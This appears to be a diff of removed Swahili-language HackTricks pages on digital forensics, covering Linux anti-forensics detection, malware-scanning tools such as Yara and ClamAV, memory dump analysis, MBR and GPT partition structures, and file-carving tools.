Ili kupambana na mbinu hizi za anti-forensic, ni muhimu:
- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data.
- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers.
- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files.
- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content.
- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers.
- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans.
- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together.
- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
# Sort files in a directory by inode:
ls -lai /bin | sort -n```
````
> [!NOTE]
> Kumbuka kwamba **mshambuliaji** anaweza **kubadilisha** **wakati** ili kufanya **faili kuonekana** **halali**, lakini hawezi **kubadilisha** **inode**. Ikiwa utagundua kwamba **faili** inaonyesha kwamba iliumbwa na kubadilishwa kwa **wakati mmoja** na faili zingine katika folda hiyo hiyo, lakini **inode** ni **kubwa zaidi** kwa **kushtukiza**, basi **alama za wakati za faili hiyo zimebadilishwa**.
## Linganisha faili za toleo tofauti la mfumo wa faili
### Muhtasari wa Linganisho la Toleo la Mfumo wa Faili
Ili kulinganisha toleo za mfumo wa faili na kubaini mabadiliko, tunatumia amri rahisi za `git diff`:
- **Ili kupata faili mpya**, linganisha directories mbili:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
- **Kwa yaliyobadilishwa**, orodhesha mabadiliko huku ukipuuzilia mbali mistari maalum:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
- **Kugundua faili zilizofutwa**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
- **Chaguo za kuchuja** (`--diff-filter`) husaidia kupunguza hadi mabadiliko maalum kama vile faili zilizoongezwa (`A`), kufutwa (`D`), au kubadilishwa (`M`).
- `A`: Faili zilizoongezwa
- `C`: Faili zilizokopwa
- `D`: Faili zilizofutwa
- `M`: Faili zilizobadilishwa
- `R`: Faili zilizobadilishwa jina
- `T`: Mabadiliko ya aina (mfano, faili hadi symlink)
- `U`: Faili zisizounganishwa
- `X`: Faili zisizojulikana
- `B`: Faili zilizovunjika
## Marejeleo
- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf)
- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
- **Kitabu: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,154 +0,0 @@
# Uchambuzi wa Malware
{{#include ../../banners/hacktricks-training.md}}
## Vidokezo vya Forensics
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
## Huduma za Mtandaoni
- [VirusTotal](https://www.virustotal.com/gui/home/upload)
- [HybridAnalysis](https://www.hybrid-analysis.com)
- [Koodous](https://koodous.com)
- [Intezer](https://analyze.intezer.com)
- [Any.Run](https://any.run/)
## Zana za Antivirus na Ugunduzi za Offline
### Yara
#### Sakinisha
```bash
sudo apt-get install -y yara
```
#### Andaa sheria
Tumia skripti hii kupakua na kuunganisha sheria zote za yara malware kutoka github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
Unda saraka ya _**rules**_ na uitekeleze. Hii itaunda faili inayoitwa _**malware_rules.yar**_ ambayo ina sheria zote za yara za malware.
```bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
```
#### Skana
```bash
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
```
#### YaraGen: Angalia kwa malware na Unda sheria
Unaweza kutumia chombo [**YaraGen**](https://github.com/Neo23x0/yarGen) kuunda sheria za yara kutoka kwa binary. Angalia hizi mafunzo: [**Sehemu ya 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Sehemu ya 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Sehemu ya 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
```bash
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
```
### ClamAV
#### Sakinisha
```
sudo apt-get install -y clamav
```
#### Skana
```bash
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
```
### [Capa](https://github.com/mandiant/capa)
**Capa** inagundua uwezo wa **malicious** katika executable: PE, ELF, .NET. Hivyo itapata mambo kama vile mbinu za Att\&ck, au uwezo wa kushangaza kama:
- angalia kwa makosa ya OutputDebugString
- endesha kama huduma
- tengeneza mchakato
Pata katika [**Github repo**](https://github.com/mandiant/capa).
### IOCs
IOC inamaanisha Kielelezo cha Kuathiriwa. IOC ni seti ya **masharti yanayotambulisha** baadhi ya programu zisizohitajika au **malware** iliyothibitishwa. Blue Teams hutumia aina hii ya ufafanuzi ili **kutafuta aina hii ya faili za uhalifu** katika **mifumo** yao na **mitandao**.\
Kushiriki ufafanuzi huu ni muhimu sana kwani wakati malware inatambuliwa kwenye kompyuta na IOC kwa malware hiyo inaundwa, Blue Teams wengine wanaweza kuitumia kuitambua malware haraka zaidi.
Zana ya kuunda au kubadilisha IOCs ni [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
Unaweza kutumia zana kama [**Redline**](https://www.fireeye.com/services/freeware/redline.html) ili **kutafuta IOCs zilizofafanuliwa kwenye kifaa**.
### Loki
[**Loki**](https://github.com/Neo23x0/Loki) ni skana kwa ajili ya Viashiria Rahisi vya Kuathiriwa.\
Ugunduzi unategemea mbinu nne za ugunduzi:
```
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
```
### Linux Malware Detect
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) ni skana ya malware kwa Linux iliyotolewa chini ya leseni ya GNU GPLv2, ambayo imeundwa kuzingatia vitisho vinavyokabiliwa katika mazingira ya mwenyeji wa pamoja. Inatumia data za vitisho kutoka kwa mifumo ya kugundua uvamizi kwenye ukingo wa mtandao ili kutoa malware inayotumika kwa shambulio na kuunda saini za kugundua. Zaidi ya hayo, data za vitisho pia zinatokana na michango ya watumiaji kupitia kipengele cha LMD checkout na rasilimali za jamii ya malware.
### rkhunter
Zana kama [**rkhunter**](http://rkhunter.sourceforge.net) zinaweza kutumika kuangalia mfumo wa faili kwa ajili ya **rootkits** na malware.
```bash
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
```
### FLOSS
[**FLOSS**](https://github.com/mandiant/flare-floss) ni chombo ambacho kitajaribu kupata nyuzi zilizofichwa ndani ya executable kwa kutumia mbinu tofauti.
### PEpper
[PEpper](https://github.com/Th3Hurrican3/PEpper) inakagua mambo ya msingi ndani ya executable (data ya binary, entropy, URLs na IPs, baadhi ya sheria za yara).
### PEstudio
[PEstudio](https://www.winitor.com/download) ni chombo kinachoruhusu kupata taarifa za Windows executables kama vile imports, exports, headers, lakini pia kitakagua virus total na kupata mbinu za Att\&ck zinazoweza kuwa.
### Detect It Easy(DiE)
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) ni chombo cha kugundua kama faili ime **encrypted** na pia kupata **packers**.
### NeoPI
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) ni script ya Python inayotumia mbinu mbalimbali za **statistical methods** kugundua maudhui yaliyofichwa na **encrypted** ndani ya faili za maandiko/script. Lengo la NeoPI ni kusaidia katika **gundua msimbo wa web shell uliofichwa**.
### **php-malware-finder**
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) inajitahidi sana kugundua **obfuscated**/**dodgy code** pamoja na faili zinazotumia **PHP** functions ambazo mara nyingi hutumiwa katika **malwares**/webshells.
### Apple Binary Signatures
Unapokagua baadhi ya **malware sample** unapaswa kila wakati **kuangalia saini** ya binary kwani **developer** aliyeisaini anaweza kuwa tayari **husika** na **malware.**
```bash
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the apps contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
```
## Mbinu za Kugundua
### Kuunganisha Faili
Ikiwa unajua kwamba folda fulani inayoshikilia **faili** za seva ya wavuti ilikua **imepitiwa mara ya mwisho kwenye tarehe fulani**. **Angalia** **tarehe** ambayo **faili** zote katika **seva ya wavuti zilianzishwa na kubadilishwa** na ikiwa tarehe yoyote ni **ya kushangaza**, angalia faili hiyo.
### Msingi
Ikiwa faili za folda **hazipaswi kubadilishwa**, unaweza kuhesabu **hash** ya **faili za asili** za folda na **kulinganisha** na zile **za sasa**. Kila kitu kilichobadilishwa kitakuwa **cha kushangaza**.
### Uchambuzi wa Takwimu
Wakati taarifa zimehifadhiwa katika kumbukumbu unaweza **kuangalia takwimu kama vile ni mara ngapi kila faili ya seva ya wavuti ilifikiriwa kwani shell ya wavuti inaweza kuwa moja ya** nyingi.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,37 +0,0 @@
# Uchambuzi wa dump ya kumbukumbu
{{#include ../../../banners/hacktricks-training.md}}
## Anza
Anza **kutafuta** **malware** ndani ya pcap. Tumia **zana** zilizotajwa katika [**Uchambuzi wa Malware**](../malware-analysis.md).
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
**Volatility ni mfumo mkuu wa chanzo wazi kwa uchambuzi wa dump ya kumbukumbu**. Zana hii ya Python inachambua dumps kutoka vyanzo vya nje au VMware VMs, ikitambua data kama mchakato na nywila kulingana na wasifu wa OS wa dump. Inaweza kupanuliwa kwa plugins, na kuifanya kuwa na matumizi mengi kwa uchunguzi wa forensics.
**[Pata hapa cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
## Ripoti ya ajali ya mini dump
Wakati dump ni ndogo (kama KB chache, labda MB chache) basi huenda ni ripoti ya ajali ya mini dump na sio dump ya kumbukumbu.
![](<../../../images/image (216).png>)
Ikiwa una Visual Studio imewekwa, unaweza kufungua faili hii na kuunganisha taarifa za msingi kama jina la mchakato, usanifu, taarifa za makosa na moduli zinazotekelezwa:
![](<../../../images/image (217).png>)
Unaweza pia kupakia makosa na kuona maagizo yaliyotafsiriwa
![](<../../../images/image (219).png>)
![](<../../../images/image (218) (1).png>)
Hata hivyo, Visual Studio si zana bora kwa ajili ya kufanya uchambuzi wa kina wa dump.
Unapaswa **kuifungua** kwa kutumia **IDA** au **Radare** ili kuikagua kwa **undani**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,234 +0,0 @@
# Partitions/File Systems/Carving
{{#include ../../../banners/hacktricks-training.md}}
## Partitions
Diski ngumu au **SSD inaweza kuwa na sehemu tofauti** kwa lengo la kutenganisha data kimwili.\
Kitengo **cha chini** cha diski ni **sehemu** (ambayo kawaida ina 512B). Hivyo, kila ukubwa wa sehemu unahitaji kuwa mara kadhaa ya ukubwa huo.
### MBR (master Boot Record)
Imewekwa katika **sehemu ya kwanza ya diski baada ya 446B ya msimbo wa boot**. Sehemu hii ni muhimu kuonyesha kwa PC ni nini na kutoka wapi sehemu inapaswa kuunganishwa.\
Inaruhusu hadi **sehemu 4** (kwa kiwango cha juu **sehemu 1 tu** inaweza kuwa hai/**bootable**). Hata hivyo, ikiwa unahitaji sehemu zaidi unaweza kutumia **sehemu za kupanua**. **Byte ya mwisho** ya sehemu hii ya kwanza ni saini ya boot record **0x55AA**. Sehemu moja tu inaweza kuashiriawa kama hai.\
MBR inaruhusu **max 2.2TB**.
![](<../../../images/image (489).png>)
![](<../../../images/image (490).png>)
Kutoka **bytes 440 hadi 443** za MBR unaweza kupata **Saini ya Disk ya Windows** (ikiwa Windows inatumika). Barua ya diski ya mantiki ya diski ngumu inategemea Saini ya Disk ya Windows. Kubadilisha saini hii kunaweza kuzuia Windows kuanza (chombo: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../images/image (493).png>)
**Format**
| Offset | Length | Item |
| ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Msimbo wa boot |
| 446 (0x1BE) | 16 (0x10) | Sehemu ya Kwanza |
| 462 (0x1CE) | 16 (0x10) | Sehemu ya Pili |
| 478 (0x1DE) | 16 (0x10) | Sehemu ya Tatu |
| 494 (0x1EE) | 16 (0x10) | Sehemu ya Nne |
| 510 (0x1FE) | 2 (0x2) | Saini 0x55 0xAA |
**Muundo wa Rekodi ya Sehemu**
| Offset | Length | Item |
| --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Bendera hai (0x80 = bootable) |
| 1 (0x01) | 1 (0x01) | Kichwa cha mwanzo |
| 2 (0x02) | 1 (0x01) | Sehemu ya mwanzo (bits 0-5); bits za juu za silinda (6- 7) |
| 3 (0x03) | 1 (0x01) | Silinda ya mwanzo bits 8 za chini |
| 4 (0x04) | 1 (0x01) | Msimbo wa aina ya sehemu (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Kichwa cha mwisho |
| 6 (0x06) | 1 (0x01) | Sehemu ya mwisho (bits 0-5); bits za juu za silinda (6- 7) |
| 7 (0x07) | 1 (0x01) | Silinda ya mwisho bits 8 za chini |
| 8 (0x08) | 4 (0x04) | Sehemu zinazotangulia sehemu (little endian) |
| 12 (0x0C) | 4 (0x04) | Sehemu katika sehemu |
Ili kuunganisha MBR katika Linux unahitaji kwanza kupata offset ya mwanzo (unaweza kutumia `fdisk` na amri `p`)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
Na kisha tumia msimbo ufuatao
```bash
#Mount MBR in Linux
mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Anwani ya block ya kimantiki)**
**Anwani ya block ya kimantiki** (**LBA**) ni mpango wa kawaida unaotumika kwa **kuainisha eneo la blocks** za data zilizohifadhiwa kwenye vifaa vya kuhifadhi kompyuta, kwa ujumla mifumo ya kuhifadhi sekondari kama vile diski ngumu. LBA ni mpango wa anwani rahisi wa mstari; **blocks zinapatikana kwa index ya nambari**, block ya kwanza ikiwa LBA 0, ya pili LBA 1, na kadhalika.
### GPT (Jedwali la Partition la GUID)
Jedwali la Partition la GUID, linalojulikana kama GPT, linapendekezwa kwa uwezo wake ulioimarishwa ikilinganishwa na MBR (Rekodi ya Boot Kuu). Inajulikana kwa **kitambulisho chake cha kipekee duniani** kwa partitions, GPT inajitokeza kwa njia kadhaa:
- **Eneo na Ukubwa**: GPT na MBR zote huanza kwenye **sehemu 0**. Hata hivyo, GPT inafanya kazi kwa **64bits**, tofauti na MBR ambayo ni 32bits.
- **Mipaka ya Partition**: GPT inasaidia hadi **partitions 128** kwenye mifumo ya Windows na inaruhusu hadi **9.4ZB** ya data.
- **Majina ya Partition**: Inatoa uwezo wa kuipa partitions majina yenye wahusika 36 wa Unicode.
**Ustahimilivu wa Data na Urejeleaji**:
- **Ukarabati**: Tofauti na MBR, GPT haitoi mipangilio na data ya boot mahali pamoja. Inarudia data hii kwenye diski, ikiongeza uaminifu wa data na ustahimilivu.
- **Cyclic Redundancy Check (CRC)**: GPT inatumia CRC kuhakikisha uaminifu wa data. Inachunguza kwa makini uharibifu wa data, na inapogundulika, GPT inajaribu kurejesha data iliyoathirika kutoka eneo lingine la diski.
**MBR ya Kulinda (LBA0)**:
- GPT inahifadhi ulinganifu wa nyuma kupitia MBR ya kulinda. Kipengele hiki kiko katika nafasi ya MBR ya zamani lakini kimeundwa kuzuia zana za zamani za MBR zisizoe GPT disks, hivyo kulinda uaminifu wa data kwenye disks zilizofomatiwa kwa GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>)
**MBR ya Mchanganyiko (LBA 0 + GPT)**
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
Katika mifumo ya uendeshaji inayounga mkono **boot ya GPT kupitia huduma za BIOS** badala ya EFI, sehemu ya kwanza inaweza pia kutumika kuhifadhi hatua ya kwanza ya **bootloader** code, lakini **imebadilishwa** kutambua **GPT** **partitions**. Bootloader katika MBR haipaswi kudhani ukubwa wa sehemu ni bytes 512.
**Kichwa cha jedwali la partition (LBA 1)**
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
Kichwa cha jedwali la partition kinaelezea blocks zinazoweza kutumika kwenye diski. Pia kinaelezea idadi na ukubwa wa entries za partition zinazounda jedwali la partition (offsets 80 na 84 katika jedwali).
| Offset | Length | Contents |
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bytes | Saini ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h au 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8) kwenye mashine za little-endian) |
| 8 (0x08) | 4 bytes | Toleo 1.0 (00h 00h 01h 00h) kwa UEFI 2.8 |
| 12 (0x0C) | 4 bytes | Ukubwa wa kichwa katika little endian (katika bytes, kawaida 5Ch 00h 00h 00h au bytes 92) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) ya kichwa (offset +0 hadi ukubwa wa kichwa) katika little endian, huku uwanja huu ukiwa na sifuri wakati wa hesabu |
| 20 (0x14) | 4 bytes | Imehifadhiwa; lazima iwe sifuri |
| 24 (0x18) | 8 bytes | LBA ya sasa (eneo la nakala hii ya kichwa) |
| 32 (0x20) | 8 bytes | LBA ya nakala (eneo la nakala nyingine ya kichwa) |
| 40 (0x28) | 8 bytes | LBA ya kwanza inayoweza kutumika kwa partitions (LBA ya mwisho ya jedwali la partition la msingi + 1) |
| 48 (0x30) | 8 bytes | LBA ya mwisho inayoweza kutumika (LBA ya kwanza ya jedwali la partition la sekondari 1) |
| 56 (0x38) | 16 bytes | GUID ya diski katika mchanganyiko wa endian |
| 72 (0x48) | 8 bytes | LBA ya kuanzia ya safu ya entries za partition (daima 2 katika nakala ya msingi) |
| 80 (0x50) | 4 bytes | Idadi ya entries za partition katika safu |
| 84 (0x54) | 4 bytes | Ukubwa wa entry moja ya partition (kawaida 80h au 128) |
| 88 (0x58) | 4 bytes | CRC32 ya safu ya entries za partition katika little endian |
| 92 (0x5C) | \* | Imehifadhiwa; lazima iwe sifuri kwa sehemu nyingine za block (420 bytes kwa ukubwa wa sehemu 512 bytes; lakini inaweza kuwa zaidi na ukubwa wa sehemu kubwa) |
**Entries za Partition (LBA 233)**
| Muundo wa entry ya partition ya GUID | | |
| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
| Offset | Length | Contents |
| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mchanganyiko wa endian) |
| 16 (0x10) | 16 bytes | GUID ya kipekee ya partition (mchanganyiko wa endian) |
| 32 (0x20) | 8 bytes | LBA ya kwanza ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
| 40 (0x28) | 8 bytes | LBA ya mwisho (inajumuisha, kawaida ni odd) |
| 48 (0x30) | 8 bytes | Bendera za sifa (mfano, bit 60 inaashiria read-only) |
| 56 (0x38) | 72 bytes | Jina la partition (muhimu 36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) |
**Aina za Partitions**
![](<../../../images/image (492).png>)
Aina zaidi za partition katika [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
### Kukagua
Baada ya kuunganisha picha ya forensics na [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), unaweza kukagua sehemu ya kwanza kwa kutumia zana ya Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Katika picha ifuatayo **MBR** iligundulika kwenye **sehemu 0** na kutafsiriwa:
![](<../../../images/image (494).png>)
Ikiwa ilikuwa **jedwali la GPT badala ya MBR** inapaswa kuonekana saini _EFI PART_ katika **sehemu 1** (ambayo katika picha ya awali ni tupu).
## Mifumo ya Faili
### Orodha ya mifumo ya faili ya Windows
- **FAT12/16**: MSDOS, WIN95/98/NT/200
- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
- **ExFAT**: 2008/2012/2016/VISTA/7/8/10
- **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
- **ReFS**: 2012/2016
### FAT
Mfumo wa faili wa **FAT (Jedwali la Usambazaji wa Faili)** umeundwa kuzunguka kipengele chake cha msingi, jedwali la usambazaji wa faili, lililopo kwenye mwanzo wa volumu. Mfumo huu unalinda data kwa kudumisha **nakala mbili** za jedwali, kuhakikisha uaminifu wa data hata kama moja imeharibiwa. Jedwali, pamoja na folda ya mzizi, lazima iwe katika **mahali thabiti**, muhimu kwa mchakato wa kuanzisha mfumo.
Kitengo cha msingi cha kuhifadhi cha mfumo wa faili ni **cluster, kawaida 512B**, kinachojumuisha sekta kadhaa. FAT imeendelea kupitia matoleo:
- **FAT12**, inasaidia anwani za cluster za bit 12 na kushughulikia hadi clusters 4078 (4084 na UNIX).
- **FAT16**, ikiongeza hadi anwani za bit 16, hivyo inaruhusu clusters 65,517.
- **FAT32**, ikipiga hatua zaidi na anwani za bit 32, ikiruhusu clusters 268,435,456 kwa kila volumu.
Kikwazo kikubwa katika matoleo ya FAT ni **ukubwa wa faili wa juu wa 4GB**, ulioanzishwa na uwanja wa bit 32 unaotumika kwa uhifadhi wa ukubwa wa faili.
Vipengele muhimu vya saraka ya mzizi, hasa kwa FAT12 na FAT16, ni pamoja na:
- **Jina la Faili/Folda** (hadi wahusika 8)
- **Sifa**
- **Tarehe za uumbaji, marekebisho, na ufikiaji wa mwisho**
- **Anwani ya Jedwali la FAT** (inaonyesha cluster ya kuanzia ya faili)
- **Ukubwa wa Faili**
### EXT
**Ext2** ni mfumo wa faili wa kawaida kwa **partitions zisizo na journaling** (**partitions ambazo hazibadiliki sana**) kama partition ya boot. **Ext3/4** ni **journaling** na hutumiwa kawaida kwa **partitions zingine**.
## **Metadata**
Faili zingine zina metadata. Habari hii ni kuhusu maudhui ya faili ambayo wakati mwingine inaweza kuwa ya kuvutia kwa mchambuzi kwani kulingana na aina ya faili, inaweza kuwa na habari kama:
- Kichwa
- Toleo la MS Office lililotumika
- Mwandishi
- Tarehe za uumbaji na marekebisho ya mwisho
- Mfano wa kamera
- Koordinati za GPS
- Habari za picha
Unaweza kutumia zana kama [**exiftool**](https://exiftool.org) na [**Metadiver**](https://www.easymetadata.com/metadiver-2/) kupata metadata ya faili.
## **Urejeleaji wa Faili Zilizofutwa**
### Faili Zilizofutwa Zilizorekodiwa
Kama ilivyoonekana hapo awali kuna maeneo kadhaa ambapo faili bado imehifadhiwa baada ya "kufutwa". Hii ni kwa sababu kawaida kufutwa kwa faili kutoka mfumo wa faili kunaashiria tu kuwa imefutwa lakini data haiguswi. Hivyo, inawezekana kukagua rekodi za faili (kama MFT) na kupata faili zilizofutwa.
Pia, OS kawaida huhifadhi habari nyingi kuhusu mabadiliko ya mfumo wa faili na nakala za akiba, hivyo inawezekana kujaribu kuzitumia kurejesha faili au habari nyingi iwezekanavyo.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### **Kuchonga Faili**
**Kuchonga faili** ni mbinu inayojaribu **kupata faili katika wingi wa data**. Kuna njia 3 kuu ambazo zana kama hizi hufanya kazi: **Kulingana na vichwa na miguu ya aina za faili**, kulingana na **miundo** ya aina za faili na kulingana na **maudhui** yenyewe.
Kumbuka kwamba mbinu hii **haiwezi kufanya kazi kurejesha faili zilizovunjika**. Ikiwa faili **haijahifadhiwa katika sekta zinazofuatana**, basi mbinu hii haitakuwa na uwezo wa kuipata au angalau sehemu yake.
Kuna zana kadhaa ambazo unaweza kutumia kwa kuchonga faili zikionyesha aina za faili unazotaka kutafuta
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### Kuchonga Msimu wa Data
Kuchonga Msimu wa Data ni sawa na Kuchonga Faili lakini **badala ya kutafuta faili kamili, inatafuta vipande vya habari vinavyovutia**.\
Kwa mfano, badala ya kutafuta faili kamili inayojumuisha URLs zilizorekodiwa, mbinu hii itatafuta URLs.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### Kufuta Salama
Bila shaka, kuna njia za **"kufuta salama" faili na sehemu ya rekodi kuhusu hizo**. Kwa mfano, inawezekana **kuandika upya maudhui** ya faili kwa data ya takataka mara kadhaa, na kisha **kuondoa** **rekodi** kutoka **$MFT** na **$LOGFILE** kuhusu faili hiyo, na **kuondoa Nakala za Kivuli za Volumu**.\
Unaweza kugundua kwamba hata ukifanya kitendo hicho kunaweza kuwa **sehemu nyingine ambapo uwepo wa faili bado umeandikwa**, na hiyo ni kweli na sehemu ya kazi ya kitaalamu ya forensics ni kuzipata.
## Marejeleo
- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
- **iHackLabs Certified Digital Forensics Windows**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,87 +0,0 @@
# File/Data Carving & Recovery Tools
{{#include ../../../banners/hacktricks-training.md}}
## Carving & Recovery tools
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Chombo kinachotumika sana katika uchunguzi kutoa faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, sakinisha na fanya iweze kuchukua faili ili kupata faili "zilizofichwa". Kumbuka kwamba Autopsy imejengwa kusaidia picha za diski na aina nyingine za picha, lakini si faili rahisi.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** ni chombo cha kuchambua faili za binary ili kupata maudhui yaliyojumuishwa. Inaweza kusakinishwa kupitia `apt` na chanzo chake kiko kwenye [GitHub](https://github.com/ReFirmLabs/binwalk).
**Amri muhimu**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Zana lingine la kawaida la kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi ya foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta faili fulani, ondoa alama ya maoni. Ikiwa huondoi alama ya maoni, foremost itatafuta aina zake za faili zilizowekwa kama chaguo-msingi.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
### **Scalpel**
**Scalpel** ni chombo kingine ambacho kinaweza kutumika kupata na kutoa **faili zilizojumuishwa ndani ya faili**. Katika kesi hii, utahitaji kuondoa maoni kutoka kwa faili ya usanidi (_/etc/scalpel/scalpel.conf_) aina za faili unazotaka ikatoe.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
### Bulk Extractor
Zana hii inapatikana ndani ya kali lakini unaweza kuipata hapa: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
Zana hii inaweza kuskan picha na itatoa **pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, mails)** na zaidi **faili**. Unahitaji tu kufanya:
```
bulk_extractor memory.img -o out_folder
```
Navigate through **habari zote** that the tool has gathered (passwords?), **chambua** the **paket** (read[ **Pcaps analysis**](../pcap-inspection/index.html)), search for **domeni za ajabu** (domains related to **malware** or **zisizokuwepo**).
### PhotoRec
You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
It comes with GUI and CLI versions. You can select the **aina za faili** you want PhotoRec to search for.
![](<../../../images/image (524).png>)
### binvis
